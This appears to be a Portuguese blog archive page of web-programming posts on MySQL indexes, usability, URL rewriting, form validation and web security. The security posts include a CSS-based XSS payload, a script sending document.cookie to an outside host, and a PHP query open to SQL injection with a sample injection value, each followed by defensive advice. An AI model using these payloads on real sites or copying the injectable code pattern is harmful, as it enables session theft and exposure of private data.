Tag Archives: programar para web

Programação

MySQL – Where e Indices

Published by:

Quando se desenvolve para web, a utilização de bases de dados é grande parte do dia a dia. Especialmente quando se tem o prazer de trabalhar em projectos diferentes regularmente.

E quando se trabalha com bases de dados cujos tempos de resposta são críticos, a relação entre os índices existentes na base de dados e os campos utilizados para filtrar os registos é critica.

Dependendo do motor de base de dados utilizado, o tipo de indices e condições de filtragem (clausula WHERE do SQL) podem variar. No entanto (quase) todos têm em comum três tipos de índices: Primary Key, Unique e Index (ou Key).

No caso particular do MySQL existe ainda um quarto tipo de índice que é o Fulltext, que tem equivalente no Context do Oracle, e um equivalente no MS SQL Server.

É importante conhecer estes quatro tipos de índices para sabermos o que esperar e quando utilizar cada um deles.

Tipos de Índices

Primary Key

Um índice do tipo Primary Key é a chave primária de um registo, o identificador único do registo. Um campo (ou conjunto de campos) sobre o qual seja criado um índice deste tipo não pode ter qualquer valor repetido, e não pode ter qualquer valor NULL (campo vazio).

Utilizar um valor presente neste tipo de índice é normalmente a forma mais rápida de encontrar um registo.

Dependendo do motor de base de dados, e da definição da base de dados, muitas vezes a primary key de uma tabela é um campo cujo valor é auto-incremental, isto é, o valor do campo para o próximo registo é igual ao valor do campo no ultimo registo inserido mais um valor de incremento (normalmente 1, mas pode variar). No caso de motores de bases de dados que não suportam campo auto-incrementais (como o Oracle), existem normalmente funcionalidades que permitem encontrar um valor para atribuir a estes campos (como as SEQUENCEs, ainda no Oracle).

A questão é que para estes campos, o valor nunca se repete, e nunca pode ser NULL (vazio), pelo que o valor do campo pode ser sempre utilizado para aceder ao registo.

Chaves Únicas (UNIQUE)

O segundo tipo de índices são as Chaves Únicas (UNIQUE). Estas chaves, tal como asPrimary Key nunca podem ter valores repetidos. Mas ao contrário destas podem ter registos com valores NULL (vazios).

Com isto conseguimos ter uma forma de aceder sempre a um determinado registo da base de dados, mas sem sermos obrigados a atribuir sempre um valor a este campo.

Índices normais (KEY ou INDEX)

O terceiro tipo de índices permitem valores repetidos e valores NULL. Ao contrário das chaves únicas, estes índices destinam-se a encontrar numa tabela vários registo que partilham um mesmo valor (ou conjunto de valores), e não um único registo, ou para criar listagens ordenadas.

Não existem muitas regras que não se possam violar quando se criam este tipo de índices, mas não é normalmente considerado muito vantajoso criar índices que não permitam dividir os registos na base de dados em vários grupos.

Por exemplo, criar um índice num campo de tipo lógico cujos valores possíveis sãoverdadeiro ou falso, e em que o número de registo são mais ou menos semelhantes para um e outro valor, ou em que o valor porque normalmente se efectuam a maioria das listagens é o que tem mais registos não é muito relevante em termos de performance (na maioria dos caso).

Ao contrário, se a maioria dos valores são únicos, e especialmente se queremos ordenar as listagens de acordo com os valores desse campo, a criação de um indice é uma mais valia indesprezável.

Indexar todos os campos, também não é, por norma, uma tarefa muito proveitosa. O tamanho ocupado pelos índices duma tabela deve ser o menor possível, assim como o seu número, por forma a reduzir as possibilidades de índices utilizáveis, e com isso melhor o tempo de resposta do motor de base de dados.

Criar índices com vários campos também pode ser uma forma de melhor os tempos de resposta dos queries que fazemos à base de dados, especialmente se sempre que fazemos uma listagem de dados um conjunto de campos é sempre utilizado para filtrar os registos, ou para os ordenar.

Fulltext Search

Os índices do tipo FullText Search são uma funcionalidade interessante de vários motores de base de dados. Estes índices permitem-nos obter rapidamente registos que contenham uma determinada palavra num campo ou conjunto de campos.

São indicados para implementar sistemas de pesquisa, pois permitem muito rapidamente obter os registos que contém uma ou várias palavras passadas, e podem ser mesmo utilizados para ordenar esses registos de acordo com a relevâncias da pesquisa efectuada.

O problema de implementar pesquisas utilizando este tipo de índice são:

  • Palavras que existam em muito registos são ignoradas (por serem demasiado comuns e consequentemente irrelevantes)
  • Palavras menores que um determinado tamanho (3 letras normalmente) são igualmente ignoradas.
  • Pesquisas mais complexas do que uma listagem de artigos com uma ou mais palavras de um conjunto passado são possíveis, mas a sintaxe não é óbvia, especialmente para não programadores

Isto, obviamente, são problemas menores, especialmente porque a maioria dos utilizadores faz pesquisas utilizando apenas listas de palavras, e raramente se procura algo pelas palavras mais comuns de uma amostra. Não se procura palha num palheiro com esperança de encontrar uma qualquer palha especial.

Condições WHERE

A clausula WHERE do SQL, utilizada em quase todos os motores de base de dados hoje em dia, serve para filtrar os registos que se irão obter como resultado da listagem (alteração ou remoção também são instruções que podem ser filtradas com o WHERE. Concentremo-nos nas listagens porque são a tarefa mais comum, especialmente quando se programa para ambientes abertos como a Web, e aquela em que a performance é mais relevante – por ser a mais comum).

Mas, então, que atenções devemos ter na clausula WHERE quando escrevemos uma query SQL?

A primeira coisa que devemos ter em atenção é verificar que estamos a colocar as condições de filtragem da condição mais limitante para a menos limitante, isto é, que a primeira condição no WHERE é aquela que, se utilizada sozinha, devolve menos registos, e que a ultima é a que devolve menos.

Quando criamos índices que tenham os mesmo campos que os utilizados na condição de filtragem (ou alguns dos utilizados), devemos verificar que os campos se encontram no índice pela mesma ordem que se encontram na condição de filtragem.

Os campos para que não foram criados índices devem ser deixados para o fim. Isto, claro, se os índices tiverem sido bem criados, isto é, nos campos que permitem fazer maiores filtragens na base de dados.

Por exemplo, se precisa de listar artigos por dia e por categoria, que estejam activos, e tem (em média) 10 artigos por dia, 50 por categoria e 300 activos e outros tantos activos, criar um índice com a data e a categoria do artigo será provavelmente uma boa ideia, e é igualmente boa ideia colocar as condições na condição WHERE nessa mesma ordem.

Na clausula ORDER BY e ON (dos JOINs) aplicam-se as mesmas regras.

Conclusão

Na criação dos índices numa base de dados é importante saber que tipo e quantidade de dados lá serão colocados, e é preciso, acima de tudo, ter consciência da forma como esses dados serão apresentados.

Crie sempre uma primary key, ou poderá nunca mais conseguir alterar os registos ou aceder-lhes directamente.

Sempre que a primary key não seja utilizável para tudo, crie uma chave única para aceder directamente aos registos. Por exemplo, parte dos URLs utilizados no Web a Sério são uma chave única da tabelas de posts.

E vocês, há alguma consideração não referida que utilizem na criação dos vossos queries? Este artigo apresenta algo que nunca tinham considerado?

Que questões da Programação para Web gostariam de ver aqui discutidas?

Programação

PpW – XSS nos CSSs

Published by:

Já vos falei neste site de XSS por duas vezes, mas ainda existe uma terceira opção, em que eu próprio não tinha pensado. Não é muito mau, uma vez que apenas funciona em sites que permitam alterar os CSSs ou introduzir tags <STYLE> nos campos, e é exploitable apenas em Internet Explorer…

Bem. Não deixei este post para depois porque me lembrei imediatamente de um grande site onde isto poderia ser utilizado de forma grandiosa. Não, não vou dizer qual é o site, mas trata-se de um site de social networking. De um dos maiores.

Mas voltemos um pouco atrás, aos detalhes.

O referido exploit utiliza a funcionalidade url(“url”) que pode ser utilizado em várias propriedades dos CSSs, nomeadamente background, background-image, list-style-image, entre outros. Um pequeno teste para verificar a possibilidade de efectuar o exploit seria simplesmente:


<style>
li {
list-style-image: url("javascript:alert('XSS')");
}
</style>
<ul><li>Teste</li></ul>

Assim existe agora mais um forma de injectar javascript, sem conseguir adicionar tags de <script>.

Do ponto de vista da criação de sites aparece assim mais uma preocupação, que passa por verificar com cuidado em que consições se permite aos utilizadores alterar as CSSs dos sites, sendo isto especialmente relevante em sites de comunidades, em que cada utilizador pode costumizar o seu próprio perfil.

Aparentemente o exploit apresentado apenas funciona em Internet Explorer, mas é bastante recente, poderá funcionar noutros browsers.


Programação

PpW – XSS por parâmetro

Published by:

Já aqui falei nos perigos do XSS e dos parâmetros não verificados, mas não contemplei uma possibilidade que não pode ser desprezada. A de utilizar directamente os parâmetros.

Existem sites que utilizam parâmetros que são passados nos URLs para preencher partes do site, como sejam titulos ou navegações.

Um exemplo (em PHP, mas poderia ser qualquer outra):

<h1><?php echo $_GET['titulo']; ?>

Este código pode não parecer perigoso, mas na realidade abre uma falha grave, especialmente se neste mesmo site forem utilizados cookies ou outra forma de autenticação.

Trata-se de uma situação menos perigosa do que quando os conteúdos inseridos são depois mostrados no site para todos os utilizadores.

Neste caso é necessário abrir um url que tenha o código perigoso incluído. Isso, no entanto, é mais simples de se conseguir do que possa pensar, dependendo da quantidade de utilizadores que têm acesso à parte reservada, o envio por email ou a divulgação em forúns podem conseguir isso, e depois aplicam-se todas as considerações que se fazem em relação ao XSS.

Como prevenir

Tal como se descreveu no post já referido sobre XSS, nunca utilizar directamente nenhum parâmetro que seja passado pelos utilizadores sem, pelo menos, transformar os caracteres < em &lt; e > em &gt;.

Claro que o seu site é feito para os seus utilizadores, mas o facto de 999 em cada mil serem de confiança e não pretenderem utilizar indevidamente o seu site, isso não significa que deva facilitar o trabalho ao milésimo, da mesma forma que não deixaria a porta de sua casa aberta apenas porque conhece todos os seus vizinhos.


Design

PpW – Usabilidade

Published by:

Tenho lido alguns comentários à usabilidade do site, e fico normalmente com a sensação que se confunde usabilidade com design. São coisas completamente diferentes.

O que é a usabilidade?

A usabilidade de um sistema, e isso inclui um site é o grau de facilidade com que um utilizador consegue utilizar um sistema. Essa facilidade depende de vários factores, entre eles:

  1. Funcionamento correcto
  2. Eficiência de uso
  3. Facilidade de aprendizagem
  4. Facilidade de lembrar
  5. Tolerância a erros de utilizador
  6. Satisfação subjectiva

Online, o facto que mais influência tem na usabilidade global de um site (para o utilizador final) acaba por ser a eficiência de uso, e essa é por sua vez influênciada por diversos factores, de que falamos a seguir:

Informação bem estruturada

É imprescindível que o utilizador consiga facilmente perceber o que é importante e secundário num site, e isso consegue-se destacando o que é importante, tornando mais visivel o que é mais importante.

Mas mais do que ter a informação bem estruturada, é necessário que isso se perceba, e que se qual a estrutura, qual a organização da informação. Melhor que uma listagem de categorias, é uma listagem de categorias, com um titulo Categorias.

A estrutura da informação online, obviamente, tem também a ver com o design do site onde essa informação se encontra, mas raramente tem a ver com a beleza com que essa informação é apresentada.

Não quero com isto dizer que o design não é necessário. É. E sim, como já vi criticas, sei que esse não é o meu ponto forte. Não pretendo que o seja. Já percorri um longo caminho, e sei que ainda tenho muito por onde melhorar, mas muitas vezes olho para obras de arte e penso que continua a haver poucos sites com melhor usabilidade que o do D.J. Bernstein(0% design vs. 100% facilidade em encontrar o que se procura).

Para mim a Internet não são bonecos. Para mim a internet é informação, a melhor informação possível, acessivel de forma simples, usável. Em metade das vezes, quando entra o design perde-se a estrutura da informação. Nada contra o design, mas sempre com atenção a que a informação é que conta, a informação é a razão de existir dos sites, não o contrário.

Facilidade de navegação

A informação que os utilizadores mais procuram deve estar tão acessível quanto possivel, por forma a que os utilizadores consigam chegar a essa informação com o mínimo de clicks. Mesmo a informação que é menos visitada deve ser fácil de encontrar, criando formas difirentes de encontrar a informação, como sejam, listagem por antiguidade, por categoria, destaques para os mais visitados, pesquisa, etc.

Simplicidade

A interface deve ser simples e limpa, sendo de evitar, sempre que possivel, animações e outras formas de distração, que retirem o foco do utilizador daquilo que lhe interessa.

Quando um utilizador procura informação quer concentrar-se nessa informação, e não ser distraído pelo macaco que está aos saltos no canto da artigo que está a tentar ler.

Se o utilizador não tiver paz e não se conseguir concentrar no seu site, por certo que se conseguirá concentrar num qualquer outro site que tenha a informação que o seu utilizador procura, mesmo que não esteja tão detalhada e precisa como no seu site.

Relevância dos conteúdos

Existem vários tipos de sites a que os utilizadores voltam regularmente, mas em primeiro lugar na lista da maioria dos utilizadores estão os sites que têm conteúdos de interesse, relevantes, e expostos de forma sóbria e precisa.

Normalmente poderão ler que os conteúdos devem ser conciso e objectivos. Se concordo com a objectividade, não estou tão de acordo com a brevidade. Cada autor tem a sua própria forma de escrever, e nem sempre um texto um pouco mais longo é menos interessante que outro mais curto (mas isso, obviamente, é tema para uma séria de artigos completa, um dia destes).

Consistência

Um site deve ser um conjunto de conteúdos relacionados, apresentados sob uma forma comum, e não um conjunto de páginas, que por acaso se encontram juntas.

É importante que num site as mesmas coisas aconteçam sempre da mesma maneira, pois assim os utilizadores apenas terão de aprender uma vez a fazer qualquer tarefa, e sabem sempre o que acontece quando fazem uma determinada acção.

Isso não se passa apenas com o interface, ainda que isso seja importante, mas também com os conteúdos. Um site deve ter um qualquer elo que ligue todo o site, todos os conteúdos que lá se encontrar.

Nalguns casos (blogs pessoas) o único elo pode ser simplesmente o autor do site, mas isso não é o suficiente para manter os utilizadores num site maior.

Foco no utilizador

O utilizador é o elo mais importante num site, e é com ele em mente que se deve pensar o site, colocando no caminho do utilizador aquilo que mais interessa ao utilizador.

Se por um lado um site com um excelente conteúdo pode manter um utilizador ocupado a pesquisa durante algum tempo, se o utilizador não encontrar imediatamente alguma coisa que lhe interesse, o mais provável é que se vá embora e não volte tão depressa.

Se pelo contrário ao primeiro ou segundo clique encontrar algo que lhe interessa e perceber que o site tem conteúdos interessantes, o mais provável é que adicione o site aos bookmarks e, mesmo que de momento não tenha muito tempo, volte mais tarde para ver melhor, ou para procurar outras coisas interessantes.

Conclusão

E então, usabilidade, o que é?

Bem, usabilidade é a capacidade de ser utilizado, de ser usado.

Usabilidade é a razão porque os livros continuam a vender tanto, quando há decadas atrás que todos apostavem que eles iam desaparecer bem depressa.

A usabilidade tem, enfim, mais a ver com ergonomia que com beleza… mas, claro, ambas são questões de design…


Programação

PpW – Usar Flash e Javascript

Published by:

Hoje, mais do que no passado, o AJAX (Asynchronous JavaScript and XML) parece estar em todo o lado, e os sites dinâmicos criados utilizando essa tecnologia são mais que muitos.

Há alguns dias, o Google disponibilizou o seu Google Web Toolkit, que permite criar aplicações Java, que são depois convertidas para aplicações HTML+Javascript.

O próprio Google utiliza AJAX em várias das suas ferramentas, como seja o Gmail, ou oGoogle Maps. Mas será que o AJAX é o resultado de todas as nossas preces?

E o Flash, que a macromédia tem desenvolvido ao longo de anos, e que hoje é uma ferramenta de desenvolvimento aplicacional completa, utilizada para fazer desde menus animados até jogos ou video players. É esta a solução para as nossas preces?

Bem, mesmo normalmente não utilizando Flash, e raramente recorrendo ao Javascript mais do que o estritamente necessário, concordo que são ferramentas uteis, e que permitem muitas coisas que seria bastante dificeis (ou mesmo impossiveis de conseguir) de outra forma.

Mas, peço desculpa, ainda não aderi à febre. Nem à do Flash, que com a novidade AJAX está a passar, nem à do AJAX. Por duas razões, e que se aplicam a ambas as situações:

  • Não são correctamente indexados;
  • Não são completamente compatíveis.

Não são completamente indexados

Hoje, ao contrário do que acontecia há algum tempo atrás, um flash cuidadosamente criado com esse objectivo em mente já é razoávelmente indexado. Mas apenas se for criado com esse objectivo em mente.

Mas não é isso que acontece normalmente. A maioria dos flahs que vi até hoje não contém directamente os conteúdos, ou quando os contém não estão em texto, mas em imagens, aparentemente para ficarem sempre com a aparência correcta.

Mas mesmo quando os texto estão dentro do flash e são indexáveis, não é possivel os motores de pesquisa enviarem os utilizadores directamente para a página onde se encontram os conteúdos que o utilizador procura.

Problemas idênticos se colocam quando se utiliza JavaScript para criar conteúdos, para os colocar nas páginas, independentemente de esses conteúdos fazerem inicialmente parte do JavaScript de alguma forma ou serem pedidos ao servidor pelo javascript (Sendo que neste caso nenhum motor de pesquisa irá aceder a esses conteúdos, uma vez que não executam o javascript).

Estas situações tornam-se mais graves quando o Javascript ou o Flash é utilizado para menus. Neste caso além de os conteúdos do Flash, ou criados pelo Javascript não serem indexados, também não o são as páginas que são pedidas quando os utilizadores clicam no menu.

Compatibilidade

Vários browsers não têm pluggin de flash, e alguns não executam javascript, pelo que sites que dependam muito dessas ferramentas não serão correctamente vistos nesses browsers.

Dos meus três browsers (Galeon, Mozilla Firefox e Internet Explorer), durante muito tempo apenas um tinha o pluggin de Flash instalado, e utilizadores invisuais, por exemplo, não têm forma de saber onde clicar num menu em flash para acederem a uma página que procuram.

Imagens, mesmo com MAP, isto é, com vários links na mesma imagem, podem ter titles por link, o que permite a qualquer utilizador saber antecipandamente alguma informação acerca do local para onde será enviado quando clicar no local onde tem o cursor. Mas o flash não.

Browsers apenas de texto (muitas vezes os browsers especiais são baseados nessas ferramentas) descrevem as imagens de forma alternativa (utilizando os campos alt e title), mas não têm forma de descrever um flash, e muitos deles também não executam javascript, pois uma grande parte da DOM não se lhes aplicaria de qualquer das formas.

Soluções

Claro que existem soluções de compromisso, como seja, ter um segundo menu, que será mostrado quando o utilizador não tiver flash, ou que esteja noutra parte da página, e que constituia uma alternativa ao menu em Flash ou Javascript, e que os motores de pesquisa também consigam utilizar.

Outra solução será ter uma versão alternativa do site para utilizadores que não têm flash ou javascript, mas isso significa também que os motores de pesquisa irão indexar essa versão e não a primeira, o que pode fazer com que a maioria dos utilizadores passe a utilizar a versão HTML, mesmo tendo flash e javascript.

Mas na verdade, eu utilizaria Flash e Javascript apenas no estritamente necessário. AJAX e outras formas de JavaScript que façam pedidos remotos de conteúdos, no entanto, utilizaria apenas em backoffices e partes de sites que não pretenda que sejam indexados.


Programação

PpW – Cross Site Script

Published by:

Cross Site Scripting, normalmente abreviado como XSS (para não confundir com CSS (Cascaded Style Sheet), consiste em colocar javascript num site que normalmente não se teria control, por forma a conseguir informações ou acessos que normalmente não teriamos.

O problema

A maioria dos ataques XSS ocorre em site onde os utilizadores podem interagir com o site, como por exemplo, colocando comentários em blogs ou respondendo em foruns. Outra situação mais ou menos comum é em sistemas de email ou webmail, em que pode bastar o utilizador ver a titulo do email para sofrer o ataque.

A maioria destes ataques pretende obter informação restricta do utilizador, ou, na maioria dos casos, acesso à conta do utilizador.

Estes ataques consistem em pequenos bocados de Javascript, normalmente apenas uma chamada a um url, em que se envia os cookies do utilizador que está a aceder ao site.

Um exemplo simples seria:


<script>
window.location='http://www.someuri.com/coookies/?' + document.cookie
</script>

Não que este fosse um caso que passasse despercebido, uma vez que o utilizador seria redirecionado para o URL indicado, mas seria eficaz, pois todos os cookies do utilizador disponiveis para o site visitado seriam conhecidos do dono do site www.someuri.com.

Soluções

Mas, que pode ser feito para evitar este tipo de situações?

Devemos não apenas atacar este problema directamente, como também evitar uma segunda possibilidade. A forma de evitar este problema directamente é evitar que seja introduzido código HTML nos locais onde utilizadores não verificados (utilizadores externo à própria organização do site) possam introduzir dados.

Quando isso não seja pretendido ou possivel (como nos casos do email), devem retirar-se todas as tags <script>...</script> que existam.

Se for uma parte de um site pode utilizar-se uma outra forma de os utilizadores formatarem os textos, como seja utilizando WikiText, BB Code ou outra sistema do género, e dessa permite-se que os utilizadores formatem os textos, sem permitir que insiram código HTML.

Claro que isto só funciona se os caracteres < forem depois convertidos para &lt; e os >para &gt;.

Mas mais importante que isso é não utilizar os cookies de forma indevida, e limitar a sua validade tanto quanto possivel.

Idealmente, na minha opinião, os cookies devem conter apenas um ID de sessão, associado ao qual se guarda tantos dados quantos possiveis do utilizador, pelo menos o IP e a assinatura do browser do utilizador.

Apenas estes dados já tornam dificil reutilizar o mesmo ID de sessão.

Cookies com IDs de utilizador ou com dados pessoais são o paraíso para os hackers, que pretendam aceder a um site.

Conclusão

Não permitir a utilizar da tag script em locais que não sejam estritamente design, e utilizar cookies com ids que mudam de cada vez que o utilizador faz login são duas tarefas fundamentais para evitar tornarmo-nos alvos dos adeptos do Cross Site Scripting.


Programação

PpW – Verificar campos de forms

Published by:

Uma coisas que frequentemente me dizem é para verificar os campos dos forms client-side (em Javascript, no browser) e não server-side (em PHP ou Perl, no servidor).

E é relativamente comum os campos serem verificados realmente client-side, e nunca serem verificados server-side.

Hoje a Internet é um meio acessível a pessoas com quase todo o tipo de conhecimentos de informática, desde os utilizadores finais, que não querem saber muito mais do que onde precisam de clicar para fazerem o que querem, até aos hacker (NOTA: hacker é uma palavra que sempre utilizado para abranger todos aqueles a quem não basta saber que as coisas funcionam, precisam de saber como e porquê) que conseguem, no caso da WEB, fazer requests HTTP manualmente, sem utilizar browsers.

Entre estes dois extremos existem vários níveis e a maioria dos utilizadores dividem-se por essa escala de forma mais ou menos disforme.

Quando fazemos verificações client-side estamos a pensar apenas nos primeiros níveis dessa escala, naqueles que apenas utilizam o site da forma que ele permite ser utilizado, que se limitam a utilizar o browser, normalmente o que vinha com o computador quando o compraram, algumas vezes um outro que alguém lhes instalou.

Mas esquecemos todos os que se encontram nos ultimos níveis da escala, aqueles que conhecem ferrementas que permitem fazer submissão de dados por HTTP sem serem os browsers, e aqueles que têm os conhecimentos de programar essas ferramentas.

Fazer um pequeno programa que enviar dados como se eles estivessem a ser enviados por um browser é bastante simples em várias linguagens. Em Perl, por exemplo, não passa de meia duzia de linhas de código (se não considerarmos os módulos utilizados, que estão já disponiveis).

Se as verificações forem feitas apenas no cliente os dados submetidos desta forma nunca são verificados. Mas se as verificações forem feitas no servidor não importa como os dados são enviados, são sempre verificados.

Concordo que fazer as verificações no cliente é mais rápido, pois podem ser feitas campo a campo, ou podem ser feitas antes de os dados do formulário serem enviados, o que permite reduzir o número de páginas pedidas ao servidor.

No entanto, fazer verificações apenas do lado do cliente é uma óptima forma de acabar com dados inconsistêntes na base de dados.

Se pretende fazer verificações do lado do cliente, não se esqueça de as fazer TAMBÉM do lado do servidor. O tempo que ocupa com essa tarefa é facilmente ganho mais tarde quando tentarem colocar dados inconsistêntes na sua base de dados.


Programação

PpW – A diferença nos URLs

Published by:

Quando se programa para WEB a solução mais fácil é utilizar os parâmetros para tudo o que seja informação dinâmica, como os identificadores das categorias, dos artigos, ou de qualquer outra coisa que se pretenda apresentar, criando URLs do tipo lista.php?id=123ou lista/index.html?id=123.

Nada de grava haveria a dizer desta prática não fosse realidade:

  • O Google não indexa links com o parâmetro id com valores com mais do que uma determinada dimensão (4 ou 5 digitos)
  • Os motores de pesquisa em geral não indexam, ou indexam de forma menos satisfatória URLs com mais do que 2 parâmetros.

Mas como podemos deixar de utilizar este tipo de URLs? Há várias formas e várias ferramentas que permitem resolver este problema.

A mais abrangente delas é talvez o mod_rewrite do Apache, servidor instalado na grande maioria dos hostings, e que permite tranformar URLs. Por exemplo, se pretendermos que o nosso URL lista.php?id=123 passe a ser lista/123.html, isso pode ser conseguido com o mod_rewrite, adicionando às configurações do apache, ou em alguns casos a um ficheiro .htaccess na raiz do seu site a seguinte linha:


RewriteRule ^/lista/(.*).html /lista.php?id=$1 [PT]

Esta simples regra faz com que sempre que um URL do tipo /lista/123.html for pedido ao nosso servidor, o mod_rewrite irá alterar o URL para /lista.php?id=123 que o apache depois tenta servir, processando assim o nosso script PHP original.

O mesmo pode ser feito para qualquer outro URL, e tendo em conta que o primeiro parâmetro é uma regular expression, quase qualquer transformação pode ser feita nos URLs. É preciso apenas um pouco de jeito, alguma persistência, e imaginação.

E a diferença que isso pode fazer na quantidade de páginas de um site nos indices principais do Google e dos outros motores de pesquisa faz TODA a diferença.

O maior trabalho num site já feito acaba por ser mesmo alterar todos os links, e todos os locais onde os links são criados para utilizar os novos URLs.

Claro que esta solução não passa de um remendo. Muitas linguagens e frameworks de programação para WEB já permitem por si só utilizar URLs dinâmicos, e permitem implementar directamente este tipo de URLs.


Programação

PPW – Parâmetros e Dados

Published by:

Introdução

POSTs e GETs, o que são

Na Web, quando uma página tem um formulário, os valores introduzidos nesses formulários podem ser enviados para o servidor de duas formas distintas.

A primeira é acrescentando no nomes dos campos e os respectivos valores ao URL. Este método chama-se GET, e tem várias vantagens e desvantagens.

Por um lado os GETs podem ser facilmente guardados em caches, sendo assim servidos mais rapidamente nas vezes seguintes que forem pedidos. Esta vantagem é também uma desvantagem, uma vez que isso significa que da próxima vez que o mesmo pedido for efectuado, este pode nunca chegar ao servidor, pois pode ser servidor por uma qualquer proxy que se encontre pelo caminho, a começar pelo proxy transparente que a maioria dos ISPs (telepac, netcabo, etc) têm.

Por outro lado, este método pode facilmente ser reconstruido e utilizado em links (o que acontece muitas vezes). É comum hoje vermos site com links do tipo index.php?id=12345. Estes links, na prática, estão apenas a tirar partido do sistema de GET pensado inicialmente para os formulários.

Os GETs, no entanto, não permitem tudo o que se pretende fazer actualmente com um formulário. O tamanho máximo dos URLs está limitado (o limite depende da implementação), e alguns tipos de dados, como os uploads de ficheiro, apenas podem ser feitos por POST.

Ao contrário dos GETs, nos POSTs os dados preenchidos nos formulários são enviados no corpo de pedido HTTP, pelo que não existem limites para a quantidade de dados enviados.

Ao contrário dos GETs, os POSTs nunca sao guardados em caches ou proxies, pois os proxies (normalmente) lêm apenas os headers dos pedidos HTTP, e por essa razão não conseguem destinguir dois pedidos feitos por POST. As definições do protocolo HTTP também definem que os POSTs não devem ser guardados em cache.

Utilizações dos dados

Os dados que os utilizadores colocam nos formulários, ou que são passados nos URLs são utilizados de diversas formas, sendo as mais comuns a alteração ou selecção de dados em bases de dados (que podem ser ficheiros em disco), o envio de emails, entre outras (o limite é a imaginação).

O exemplo mais simples talvez seja mesmo o parâmetro no URL, o index.php?id=1234 de que falamos acima. Normalmente este parâmetro será utilizado para selecionar numa base de dados um artigo, e mostrá-lo ao utilizador.

Assumindo que o index.php não faz mais nada, é suficiente o código seguinte para completar a tarefa pretendida (sem design, apenas o titulo e corpo do artigo, de uma tabela com 4 campos:

  • id – o id do artigo
  • title – o seu titulo
  • body – o corpo do artigo
  • publico – 1 se o artigo é publico, 0 se não o for.


<?php
$id=$_REQUEST['id'];
$db=mysql_connect('localhost','username','password');
mysql_select_db('sitedb',$db);
$query="SELECT title,body from stories WHERE id=$id AND publico=1";
if ($sel=mysql_query($query)) {
if ($res=mysql_fetch_assoc($sel)) {
echo "<h1>{$res['title']}</h1>{$res['body']}";
}
}
?>

Apenas algumas linhas de código, e um erro relativamente comum, especialmente em locais onde o ficheiro assim criado é utilizado “apenas” em listagens criadas automaticamente.

Sim, neste caso abrimos a porta a que qualquer artigo seja visivel, mesmo que o campo publico seja 0. Como?

Passando, por exemplo, no campo id o valor id=123 OR 1=0, o que irá fazer com que a nossa query passe então a ser:


SELECT title,body from stories WHERE id=123 OR 1=0 AND publico=1

Como o AND é verificado antes do OR, qualquer artigo com o id=123 passa a ser uma resposta válida para a query, uma vez que o conjunto 1=0 AND publico=1 é sempre falso, e consequentemente descartável, desde que id=123 seja verdadeiro.

Em php podemos evitar esta situação utilizando a função mysql_real_escape_string e colocando sempre os valores entre plicas (‘), como se segue:


<?php
$id=mysql_real_escape_string($_REQUEST['id']);
$db=mysql_connect('localhost','username','password');
mysql_select_db('sitedb',$db);
$query="SELECT title,body from stories WHERE id='$id' AND publico=1";
if ($sel=mysql_query($query)) {
if ($res=mysql_fetch_assoc($sel)) {
echo "<h1>{$res['title']}</h1>{$res['body']}";
}
}
?>

Duas pequenas alterações, mas que fazem toda a diferença. Deve colocar os valores entre plicas mesmo que os valores esperados sejam numéricos, ou então deve verificar se os valores têm realmente o formato esperado.

Conclusão

Isto é importante não apenas nos valores recebidos no URL, mas em todos os valores que sejam recebidos do utilizador, seja em URLs, seja em POSTs de formulários.

São pequenas alterações no seu código, mas que podem tornar a sua aplicação muito mais segura.

As linguagens e motores de base de dados que conheço têm um equivalente ao aqui apresentado. Se não existir implementado na que utiliza vale a pena perder uma ou duas horas, descobrir quais os caracteres que é preciso escapar no sistema que utiliza e implementar uma função que o faça, e que poderá reutilizar sempre que pretender.

Programar para web e manter os dados seguros não são necessariamente incompativeis. Basta seguir algumas regras simples. A maioria dos truques são muito simples, e mais simples ainda de impedir.

Em Destaque Programação

Programar para Web

Published by:

Quando se programa para Internet há todo um conjunto de considerações que é preciso ter, e que em ambientes fechados pouco ou nada se pensa nelas.

Quando falo em programar para web, falo de desenvolvimento de sites que estarão disponíveis para o grande publico, sites abertos. Há, claro, considerações especiais a ter quando se programam aplicações fechadas sobre ambiente WEB, mas isso são águas para outras moagens.

Há considerações de diversas ordens a fazer:

  1. Segurança – As considerações de segurança são as que vão no sentido de impedir que alterem o site de forma não pretendida, de impossibilitar que o site seja utilizado para propósitos que não aqueles para que foi concebido, e de não permitir a apropriação de informação que não se pretende que seja acessivel.
  2. Usabilidade – A usabilidade tem a ver com a facilidade de utilização do site, com a capacidade dos visitantes facilmente encontrarem a informação que pretendem, e de o fazerem da forma mais confortável possivel.
  3. Indexação – A indexação é uma das coisas que apenas quando se programa para Web se passa a considerar. E mesmo assim muitas vezes não se tem verdadeiramente noção da sua importância. Algumas pequenas alterações podem fazer toda a diferênça no tráfego de um site.

Segurança

Quando se fala de segurança fala-se de tudo o que tenha a ver com validar toda a informação que se recebe dos utilizadores de um site.

Muitas vezes essas verificações são feitas apenas nos formulários, e muitas vezes apenas do lado do utilizador, utilizando JavaScript.

Mas isto não é o suficiente. Ultrapassar validações efectuadas do lado do cliente é facil. Muito fácil.

Assim como também é simples alterar os parâmetros passados no URL, utilizados muitas vezes em links sem grande pudor ou cuidado.

Usabilidade

O local onde as coisas são colocadas num site pode fazer toda a diferença na performance desse site. Colocar um ménu à direita ou esquerda faz diferença. Toda a diferença.

Mas a usabilidade é mais do que isso. Como é que o site será visto por invísuais, que têm que recorrer à ajuda preciosa de programas que se baseiam na estrutura do código de um site para o apresentar?

Estão as coisas que pretende destacar nos locais que os utilizadores as procuram?

Indexação

Você todos os dias coloca novos conteúdos no seu site, tem já algumas centenas de artigos publicados, o seu site tem meses de existência, mas o tráfego que o seu site recebe dos motores de pesquisa é baixo, quase insignificante.

Será que o seu site está a ser correctamente indexado?

Estes temas serão tratados aqui ao longo dos próximos dias. Permaneça comigo, e fique a saber um pouco mais sobre como melhorar o seu site.

Artigos nesta série

Segurança

Usabilidade

Indexação

Performance